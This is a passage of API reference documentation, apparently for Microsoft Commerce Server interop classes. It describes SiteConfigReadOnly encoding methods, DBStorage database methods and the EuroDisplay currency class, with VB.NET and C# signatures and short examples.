  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for arrays or objects as Fields columns. Therefore, the SiteConfigReadOnly object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' oEncoded is an Object
' oArray is an Object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oEncoded = oSiteConfigReadOnly.MakeStringFromArray(oArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly.MakeStringFromSimpleList Method (PIA)

Use this method to convert a SimpleList object into an encoded string, which can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Function MakeStringFromSimpleList(
  ByRef slist As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
string MakeStringFromSimpleList(
  ref object slist
);

Parameters

[Visual Basic .NET]
slist
An object reference to the SimpleList object that you want to convert into an encoded string.
[C#]
slist
A SimpleList object that you want to convert into an encoded string.

Return Values

This method returns the encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for arrays, SimpleLists, or objects as Fields columns. Therefore, the SiteConfigReadOnly object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' vEncoded is a string
' varMySimpleList is a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vEncoded = oSiteConfigReadOnly.MakeStringFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly Properties (PIA)

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Returns configuration settings of the site and the site resources. This property is read-only.


SiteConfigReadOnly.Fields Property (PIA)

The Fields property is a read-only Fields object. The Fields object contents hold the configuration settings of the site and its resources.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports ADODB26Lib     ‘ for Fields
…
Public ReadOnly Property Fields As Fields
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using ADODB26Lib;                              //For Fields
…
public Fields Fields {get; }
[C#]

Property Value

This property returns a collection of ADODB26Lib.Field objects.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class

SiteConfigReadOnly.Initialize


Microsoft.CommerceServer.Interop.Orders

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop namespace.

Class | Description
DBStorage | Provides methods for mapping Dictionary and SimpleList objects to and from a database, primarily for the storage of receipt and order information.
EuroDisplay | Converts and formats currency amounts for use where multiple currencies must be displayed.
GenID | Provides methods to generate globally unique identifiers (GUID), and to create and maintain multiple, global sequential counters that are persisted in a database.
OrderForm | Provides in-memory storage of user and purchase information.
OrderGroup | Store, accesses, and computes basket and order information for a site.
OrderGroupManager | Provides methods to manage OrderGroup and OrderForm objects.
ShippingMethodManager | Allows management of multiple shipping methods.
SimpleFindResultInfo | Allows the specification of search criteria when using the OrderGroup and OrderGroupManager objects.
SimpleFindSearchInfo | Allows the specification of search criteria when performing search and delete operations using the OrderGroup and OrderGroupManager objects.
Shipping | Creates shipping cost preview information.


DBStorage Class (PIA)

Use this method to map Dictionary and SimpleList objects to and from the database, primarily for the storage of receipt and order information. The DBStorage object is created as needed on each page.

Methods

Method | Description
CommitData | Updates one or more records in the database storage.
DeleteData | Deletes a row from the database storage, based on the data stored in a Dictionary or OrderForm object.
DeleteDataKey | Deletes a row of data from the database storage, based on the specified key.
GetData | Retrieves a row of data from the database storage, based on a specified key value.
InitStorage | Initializes the object. This method must be called prior to calling any other DBStorage method.
InsertData | Inserts the specified data into the database storage.
LookupData | Retrieves a single row from the database storage, based on the specified column names and values.
LookupMultipleData | Retrieves multiple results from the database storage.
ProcessData | Unpacks the data stored in the MarshalColumn column for a given row, and returns the resulting row in a Dictionary object.

Properties

Property | Type | Description
Mapping | Object | Maps a database column to an entry in the OrderForm or Dictionary object that DBStorage uses to insert and retrieve data. This property is read/write.

Remarks

The DBStorage object serves as an interface between the site database and Dictionary and OrderForm objects. A DBStorage object contains methods for transferring data between the database and the data object.

Using New to instantiate a DBStorage object will return an uninitialized instance of the DBStorage object. Use the InitStorage method to initialize the returned object instance. Attempting to call any other DBStorage method prior to calling the InitStorage method results in an error.

When the DBStorage object retrieves data from the database, it creates the appropriate type of data object (an OrderForm or Dictionary object), stores the requested data there, and then returns the data object. When the DBStorage object is used to save data in the database, you pass it to the OrderForm or Dictionary object containing the data, and the DBStorage method copies the data from the data object into the database.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

General Purpose Objects


DBStorage Methods (PIA)

Methods

Method | Description
CommitData | Updates one or more records in the database storage.
DeleteData | Deletes a row from the database storage, based on the data stored in a Dictionary or OrderForm object.
DeleteDataKey | Deletes a row of data from the database storage, based on the specified key.
GetData | Retrieves a row of data from the database storage, based on a specified key value.
InitStorage | Initializes the object. This method must be called prior to calling any other DBStorage method.
InsertData | Inserts the specified data into the database storage.
LookupData | Retrieves a single row from the database storage, based on the specified column names and values.
LookupMultipleData | Retrieves multiple results from the database storage.
ProcessData | Unpacks the data stored in the MarshalColumn column for a given row, and returns the resulting row in a Dictionary object.


DBStorage.CommitData Method (PIA)

Use this method to update the database table based on the contents of the specified Dictionary or OrderForm object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub CommitData(
 vtReserved As Object,
 pdispData As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void  CommitData(
 object vtReserved,
 object pdispData
);

Parameters

[Visual Basic .NET]
vtReserved
An Object reserved for future use. The CommitData method ignores the value of this parameter.
pdispData
An object reference to the OrderForm or Dictionary object that contains the updated data.
[C#]
vtReserved
An object reserved for future use. The CommitData method ignores the value of this parameter.
pdispData
An object interface pointer on the OrderForm or Dictionary object that contains the updated data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The CommitData method does not support database tables containing fields of type TimeStamp. Instead, use the vtChanged parameter to the DBStorage.InitStorage method, which provides the same functionality as using TimeStamp fields.

[Visual Basic .NET]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object
Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
OrderFormStorage.CommitData(DBNull.Value, Order)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage

DBStorage.InsertData


DBStorage.DeleteData Method (PIA)

Use this method to delete a row from the data source, based on the data stored in the specified Dictionary or OrderForm object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub DeleteData(
 vtReserved As Object,
 pdispData As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void DeleteData(
 object vtReserved,
 object pdispData
);

Parameters

[Visual Basic .NET]
vtReserved
An Object reserved for future use. This parameter is ignored by the DeleteData method.
pdispData
An object reference to the data object to delete. This data object can be either an OrderForm or a Dictionary, but must correspond in type to the object type specified as the ProgID in the initial call to the InitStorage method.
[C#]
vtReserved
An object reserved for future use. This parameter is ignored by the DeleteData method.
pdispData
An object (an OrderForm or a Dictionary) specifying what is to be deleted, but the type of pDispData must correspond in type to the object type specified as the ProgID in the initial call to the InitStorage method.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The DeleteDataKey method differs from the DeleteData method in that the DeleteDataKey requires only the value stored in the key column of the underlying table. This is the column specified as the key to the underlying table through a previous call to the InitStorage method.

Thus, if you specify an IDENTITY field in an SQL table as the key into the data source, you can delete all the columns for a specified row by simply providing the appropriate counter value. Alternatively, you can initialize a Dictionary object to the values stored in one or more columns, and pass this initialized object to the DeleteData method.

[Visual Basic .NET]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object
Order.order_id = "Order_tmp"
OrderFormStorage.DeleteData(DBNull.Value, Order)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage

DBStorage.DeleteDataKey

DBStorage.InsertData


DBStorage.DeleteDataKey Method (PIA)

Use this method to delete a row of data, based on the specified key value.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub DeleteDataKey(
 vtReserved As Object,
 vtKey As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void DeleteDataKey(
 object vtReserved,
 object vtKey
);

Parameters

[Visual Basic .NET]
vtReserved
This parameter is reserved for future use and is ignored by the current implementation of the DeleteDataKey method. This parameter is required for compatibility with Site Server 3.0 Commerce Edition, but is not used.
vtKey
An Object that contains the key value for the row to delete. This key corresponds to the column designated as the table key in the initial call to the InitStorage method. Thus, if the call to the InitStorage method specifies column "some_column" as the table key, then the DeleteDataKey method searches "some_column" for the value stored in the vtKey parameter, and deletes the corresponding row of data.
[C#]
vtReserved
This parameter is reserved for future use and is ignored by the current implementation of the DeleteDataKey method. This parameter is required for compatibility with Site Server 3.0 Commerce Edition, but is not used.
vtKey
An object that contains the key value for the row to delete. This key corresponds to the column designated as the table key in the initial call to the InitStorage method. Thus, if the call to the InitStorage method specifies column "some_column" as the table key, then the DeleteDataKey method searches "some_column" for the value stored in the vtKey parameter, and deletes the corresponding row of data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

DeleteDataKey method differs from the DeleteData method in that the DeleteDataKey requires only the value stored in the key column of the underlying table. This is the column specified as the key to the underlying table through a previous call to the InitStorage method.

[Visual Basic .NET]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object
Order.shopper_id = "Shopper_tmp"
OrderFormStorage.DeleteDataKey(DBNull.Value, _
  "1234567890WSXCDERFVBGTRESWER")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage

DBStorage.DeleteData

DBStorage.InsertData


DBStorage.GetData Method (PIA)

Use this method to retrieve a row of data from the database, based on the specified key value. If the data is found, this method creates and returns an OrderForm or Dictionary object containing the requested data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetData(
 vtReserved As Object,
 vtKey As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object GetData(
 object vtReserved,
 object vtKey
);

Parameters

[Visual Basic .NET]
vtReserved
An Object reserved for future use. The GetData method ignores any value stored in this parameter.
vtKey
An Object that contains the key value on which to base the search. The GetData method searches for this value in the table column specified as the table key in the initial call to the InitStorage method.
[C#]
vtReserved
A object reserved for future use. The GetData method ignores any value stored in this parameter.
vtKey
A object that contains the key value on which to base the search. The GetData method searches for this value in the table column specified as the table key in the initial call to the InitStorage method.

Return Values

[Visual Basic .NET] If this method completes successfully, an Object containing a Dictionary or OrderForm object that contains the retrieved row is returned.

[C#] This method returns an object containing a Dictionary or OrderForm object used to return the retrieved row.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For performance reasons, the GetData method is preferred over the LookupData method when the column being searched is the key.

[Visual Basic .NET]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object; oVar is an Object
Order.order_id = "Order_tmp"
oVar = OrderFormStorage.GetData(DBNull.Value, Order.order_id)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage

DBStorage.LookupData


DBStorage.InitStorage Method (PIA)

Use this method to initialize the DBStorage object. You must call this method immediately after object creation and before calling any other object methods. Attempting to call any other method prior to calling the InitStorage method results in an error.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub InitStorage(
 vtDataSourceOrDSN As Object,
 Table As String,
 bstrKey As String,
 vtProgID As Object,
 vtMarshal As Object,
 vtChanged As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void InitStorage(
 object vtDataSourceOrDSN,
 string Table,
 string bstrKey,
 object vtProgID,
 object vtMarshal,
 object vtChanged
);

Parameters

[Visual Basic .NET]
vtDataSourceOrDSN
An Object that contains a valid object reference to a DataSource object, or data source name (DSN).
Table
A String that contains the name of the table within the data source in which to maintain the data.
bstrKey
A String that contains the column name that the DBStorage object uses as a key into the database table. This column should be marked to contain unique values.
vtProgID
An Object that contains the ProgID of the object in which data passed to or retrieved by DBStorage methods will be stored. This parameter can be Commerce.Dictionary for storing Dictionary objects or Commerce.OrderForm for storing OrderForm objects. Methods (such as GetData) that return data from the database create an instance of the specified class with the requested data stored within it.
vtMarshal
An Object that contains the text string that, if specified, indicates the name of a column in the database into which the CommitData or InsertData method will store all the data from the specified data object, serialized into an encoded binary format. (Objects in the stored item that have corresponding column names in the database are also stored in those columns in the database.) If this argument is specified, the database must contain a column by that name, or an error will result. If this argument is not specified, then no data from the object is serialized and saved in the database in binary format, and items in the object that do not have corresponding columns in the database are discarded. When using a Microsoft SQL Server database, the maximum size of the data in this column is the same as the maximum size for the SQL Server text/image data type (2,147,483,647 bytes).
vtChanged
An Object that contains the name of a key or attribute in the database into which to write the date when the data is changed. (If you do not specify a column name that exists in the database, the change date will be included in the marshaled data.)
[C#]
vtDataSourceOrDSN
An object which references a valid DataSource object, or which references a data source name (DSN).
Table
A string that contains the name of the table within the data source in which to maintain the data.
bstrKey
A string that contains the column name that the DBStorage object uses as a key into the database table. This column should be marked to contain unique values.
vtProgID
An object that contains the ProgID of the object in which data passed to or retrieved by DBStorage methods will be stored. This parameter can be Microsoft.CommerceServer.Interop.Dictionary for storing Dictionary objects or Microsoft.CommerceServer.Interop.Orders.OrderForm for storing OrderForm objects. Methods (such as GetData) that return data from the database create an instance of the specified class with the requested data stored within it.
vtMarshal
An object that contains the text string that, if specified, indicates the name of a column in the database into which the CommitData or InsertData method will store all the data from the specified data object, serialized into an encoded binary format. (Objects in the stored item that have corresponding column names in the database are also stored in those columns in the database.) If this argument is specified, the database must contain a column by that name, or an error will result. If this argument is not specified, then no data from the object is serialized and saved in the database in binary format, and items in the object that do not have corresponding columns in the database are discarded. When using a Microsoft SQL Server database, the maximum size of the data in this column is the same as the maximum size for the SQL Server text/image data type (2,147,483,647 bytes).
vtChanged
An object that contains the name of a key or attribute in the database into which to write the date when the data is changed. (If you do not specify a column name that exists in the database, the change date will be included in the marshaled data.)

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' strDSN is the data source connection string; OrderFormStorage
' is an uninitialized Commerce.DBStorage object; "Site_basket"
' is the name of the table in the referenced data source;
' "shopper_id" is the primary key in the "Site_basket" table;
' "marshalled_order" is the name of the column for this DBStorage
' object instance to use for marshaling data; "date_changed"
' is the name of the database column that contains the date
' of the most recent change
' This sample initializes OrderFormStorage as an OrderForm storage object:

OrderFormStorage.InitStorage(strDSN, "Site_basket", "shopper_id", _
    "Commerce.OrderForm", "marshalled_order", "date_changed")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class


DBStorage.InsertData Method (PIA)

Use this method to insert the contents of the specified Dictionary object into a database row.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub InsertData(
 vtReserved As Object,
 pdispData As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void InsertData(
 object vtReserved,
 object pdispData
);

Parameters

[Visual Basic .NET]
vtReserved
An Object reserved for future use. This parameter is ignored by the InsertData method.
pdispData
An object reference to the Dictionary object or OrderForm object that contains the data to insert.
[C#]
vtReserved
An object reserved for future use. This parameter is ignored by the InsertData method.
pdispData
A Dictionary object or OrderForm object that contains the data to insert.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object

Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
OrderFormStorage.InsertData(DBNull.Value, Order)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage

DBStorage.CommitData


DBStorage.LookupData Method (PIA)

Use this method to retrieve a single row from the data source based upon column names and values that you specify. If the data is found, this method creates and returns an OrderForm or Dictionary object (depending on the vtProgID parameter passed to the InitStorage method) containing the requested data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function LookupData(
 vtReserved As Object,
 ByRef pvtKeys As Object,
 ByRef pvtValues As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object LookupData(
 object vtReserved,
 ref object pvtKeys,
 ref object pvtValues
);

Parameters

[Visual Basic .NET]
vtReserved
An Object reserved for future use. The LookupData method ignores any value stored in this parameter.
pvtKeys
An Object that identifies the columns in which to search for the data. This Object can be either a SimpleList object or a System.Array.
pvtValues
An Object that identifies the values for which to search. This parameter can be either a SimpleList object or a System.Array.
[C#]
vtReserved
An object reserved for future use. The LookupData method ignores any value stored in this parameter.
pvtKeys
A reference to an object that identifies the columns in which to search for the data. This object can be either a SimpleList object or a System.Array.
pvtValues
A reference to an object that identifies the values for which to search. This parameter can be either a SimpleList object or a System.Array.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the result of the lookup; this Object references a Dictionary object that contains the row data.

[C#] This method returns the result of the lookup: a Dictionary object that contains the row data. If the method call is unsuccessful, this parameter evaluates to null.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET]

The pvtKeys and pvtValues parameters are arrays that you pass to the LookupData method share in an index-to-index relationship. This means that they must contain an identical number of members and that the value stored in the pvtValues (N) parameter will be searched for in the column specified by the pvtKeys (N) parameter.

If the arrays contain more than one element, the LookupData method searches for a row in which all of the column/value pairs match.

Because the LookupData method returns only a single row of data, specifying column and value information that would result in the retrieval of more than one row results in an error.

[C#]

The pvtRet parameter points to valid data only if the method returns successfully.

The pvtKeys and pvtValues parameters are arrays that you pass to the LookupData method share in an index-to-index relationship. This means that they must contain an identical number of members and that the value stored in the pvtValues (N) parameter will be searched for in the column specified by the pvtKeys (N) parameter.

If the arrays contain more than one element, the LookupData method searches for a row in which all of the column/value pairs match.

Because the LookupData method returns only a single row of data, specifying column and value information that would result in the retrieval of more than one row results in an error.

[Visual Basic .NET]

Example

' OrderFormStorage is an initialized DBStorage object instance.
' In the following example, the LookupData method searches
' for a row in which both the shopper_id column contains the
' value returned by the shopper_id variable and the shopper_name
' column contains the customer name returned by the Page.Request method:

' Attempt to determine if this shopper is already registered.
shopper_id = Page.GetShopperID

Dim keys(1) As String
Dim values(1) As Object
keys(0) = "shopper_id"
keys(1) = "shopper_name"
values(0) = shopper_id
values(1) = Page.Request("shopper_name", Null, 1, 60)
exists = OrderFormStorage.LookupData(DBNull.Value, keys, values)
If IsNull(exists) Then
' This shopper id and name does not exist in the specified columns

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage

DBStorage.GetData

DBStorage.LookupMultipleData


DBStorage.LookupMultipleData Method (PIA)

Use this method to retrieve multiple results from the database table. If the data is found, this method creates a SimpleList object that contains OrderForm or Dictionary objects, depending on the vtProgID parameter passed to the InitStorage method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function LookupMultipleData(
 vtReserved As Object,
 ByRef pvtKeys As Object,
 ByRef pvtValues As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object LookupMultipleData(
 object vtReserved,
 ref object pvtKeys,
 ref object pvtValues
);

Parameters

[Visual Basic .NET]
vtReserved
An Object reserved for future use. The LookupData method ignores any value stored in this parameter.
pvtKeys
An Object that identifies the columns in which to search for the data. This Object can be either a SimpleList object or a System.Array.
pvtValues
An Object that identifies the values for which to search. This parameter can be either a SimpleList object or a System.Array.
[C#]
vtReserved
An object reserved for future use. The LookupData method ignores any value stored in this parameter.
pvtKeys
A reference to the object that identifies the columns in which to search for the data. This object can be either a SimpleList object or a System.Array.
pvtValues
A pointer to the object that identifies the values for which to search. This parameter can be either a SimpleList object or a System.Array.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that references a SimpleList object that consists of one or more Dictionary objects, one for each row of data returned.

[C#] This method returns the result of the lookup. This object references a SimpleList object that consists of one or more Dictionary objects, one for each row of data returned. If the method fails, this parameter is set to null.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' Order is a Commerce.OrderForm object; OrderFormStorage is
' an initialized Commerce.DBStorage object

Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
OrderFormStorage.InsertData(DBNull.Value, Order)
Dim keyArray As String() = {“order_id”}
Dim valueArray As String() = {“Order_tmp”}
OrderFormStorage.LookupMultipleData(DBNull.Value, keysArray, _
  valueArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage

DBStorage.GetData

DBStorage.LookupData


DBStorage.ProcessData Method (PIA)

Use this method to unpack the data stored in the MarshalColumn database column for a given row, and returns the resulting row in a Dictionary object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function ProcessData(
 pdispData As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object ProcessData(
 object pdispData
);

Parameters

[Visual Basic .NET]
pdispData
An object reference to a Dictionary object that contains the marshaled data.
[C#]
pdispData
A Dictionary object that contains the marshaled data.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to a Dictionary object that contains the unmarshaled data.

[C#] This method returns the Dictionary object used containing the unmarshaled data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' dSource is a Dictionary object; OrderFormStorage is
' an initialized Commerce.DBStorage object; dDictionary is a
' Dictionary object which will receive the unmarshaled data
Order.order_id = "Order_tmp"
Order.shopper_id = "Shopper_tmp"
dDictionary = OrderFormStorage.ProcessData(dSource)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage


DBStorage Properties (PIA)

Properties

Property | Type | Description
Mapping | Object | Maps a database column to an entry in the OrderForm or Dictionary object that DBStorage uses to insert and retrieve data. This property is read/write.


DBStorage.Mapping Property (PIA)

The Mapping property maps a database column to an entry in the OrderForm or Dictionary object that the DBStorage object uses to insert and retrieve data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property Mapping As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object Mapping {get; set; }

Property Value

A Dictionary that is set for this DBStorage object instance.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET] A mapping Dictionary object makes it possible to map the column names in a database table to one or more names that you choose, usually for display to the site user. Suppose, for example, that your database table contains a column named "shopper_name", but that you want to display the contents of this column as the more human-readable "Shopper Name". Consequently, you initialize a "shopper_name" key in a Dictionary object to "Shopper Name", and use this object to set the Mapping property. When you call a DBStorage object data retrieval method, such as GetData, to read a row of data into a Dictionary object, the Dictionary key for the "shopper_name" column reads "Shopper Name". This new mapping means that you do not have to translate the column name to a more human-readable name before displaying its values to the site user. You can simply display the keys and values as they appear in the Dictionary object returned by the GetData method.

[C#]

A mapping Dictionary object makes it possible to map the column names in a database table to one or more names that you choose, usually for display to the site user. Suppose, for example, that your database table contains a column named "shopper_name", but that you want to display the contents of this column as the more human-readable "Shopper Name". Consequently, you initialize a "shopper_name" key in a Dictionary object to "Shopper Name", and pass this Dictionary object to the put_Mapping method. When you call a DBStorage object data retrieval method, such as GetData, to read a row of data into a Dictionary object, the Dictionary key for the "shopper_name" column reads "Shopper Name". This new mapping means that you do not have to translate the column name to a more human-readable name before displaying its values to the site user. You can simply display the keys and values as they appear in the Dictionary object returned by the GetData method.

The Mapping parameter contains valid data only if the property is accessed successfully.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: commercelib (in commercelib.dll)

See Also

DBStorage Class

DBStorage.InitStorage


EuroDisplay Class (PIA)

Use this object to convert and format currency amounts where multiple currencies must be displayed.

Methods

Method | Description
ConvertAltStringToCurr | Converts a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency Object.
ConvertBaseStringToCurr | Converts a string representation of a monetary value in the currency specified by the base locale identifier to a currency Object.
ConvertMoney | Converts the specified currency Object (representing a monetary value in the base currency) to a currency Object representing a monetary value in the alternate currency, using the initialized conversion rate.
FormatAltMoney | Creates a string representation of a currency Object, based on the alternate locale identifier and the alternate currency symbol string.
FormatBaseMoney | Creates a string representation of a currency Object, based on the base locale identifier and the base currency symbol string.
Initialize | Initializes the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: eurodisplib (in eurodisplib.dll)


EuroDisplay Methods (PIA)

Methods

Method | Description
ConvertAltStringToCurr | Converts a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency Object.
ConvertBaseStringToCurr | Converts a string representation of a monetary value in the currency specified by the base locale identifier to a currency Object.
ConvertMoney | Converts the specified currency Object (representing a monetary value in the base currency) to a currency Object representing a monetary value in the alternate currency, using the initialized conversion rate.
FormatAltMoney | Creates a string representation of a currency Object, based on the alternate locale identifier and the alternate currency symbol string.
FormatBaseMoney | Creates a string representation of a currency Object, based on the base locale identifier and the base currency symbol string.
Initialize | Initializes the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.


EuroDisplay.ConvertAltStringToCurr Method (PIA)

Use this method to convert a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency Object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function ConvertAltStringToCurr(
  vtMoneyString As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public objectEuroDisplay.ConvertAltStringToCurr(
  object vtMoneyString
);

Parameters

[Visual Basic .NET]
vtMoneyString
An Object that contains the currency string to convert.
[C#]
vtMoneyString
An object that contains the currency string to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a currency Object that contains the converted currency information.

[C#] This method returns an object containing the converted currency information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' oResult is an Object
oResult = oEuroDisp.ConvertAltStringToCurr("23,444.53886")
' In the preceding example, the variable oResult is
' internally rounded to 23444.5389

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: eurodisplib (in eurodisplib.dll)

See Also

EuroDisplay Class

EuroDisplay.ConvertBaseStringToCurr

EuroDisplay.FormatAltMoney


EuroDisplay.ConvertBaseStringToCurr Method (PIA)

Use this method to convert a string representation of a monetary value in the currency specified by the base locale identifier to a currency object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function ConvertBaseStringToCurr(
  vtMoneyString As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object EuroDisplay.ConvertBaseStringToCurr(
  object vtMoneyString
);

Parameters

[Visual Basic .NET]
vtMoneyString
An Object that contains the currency string to convert.
[C#]
vtMoneyString
A object that contains the currency string to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a currency Object that contains the converted currency information.

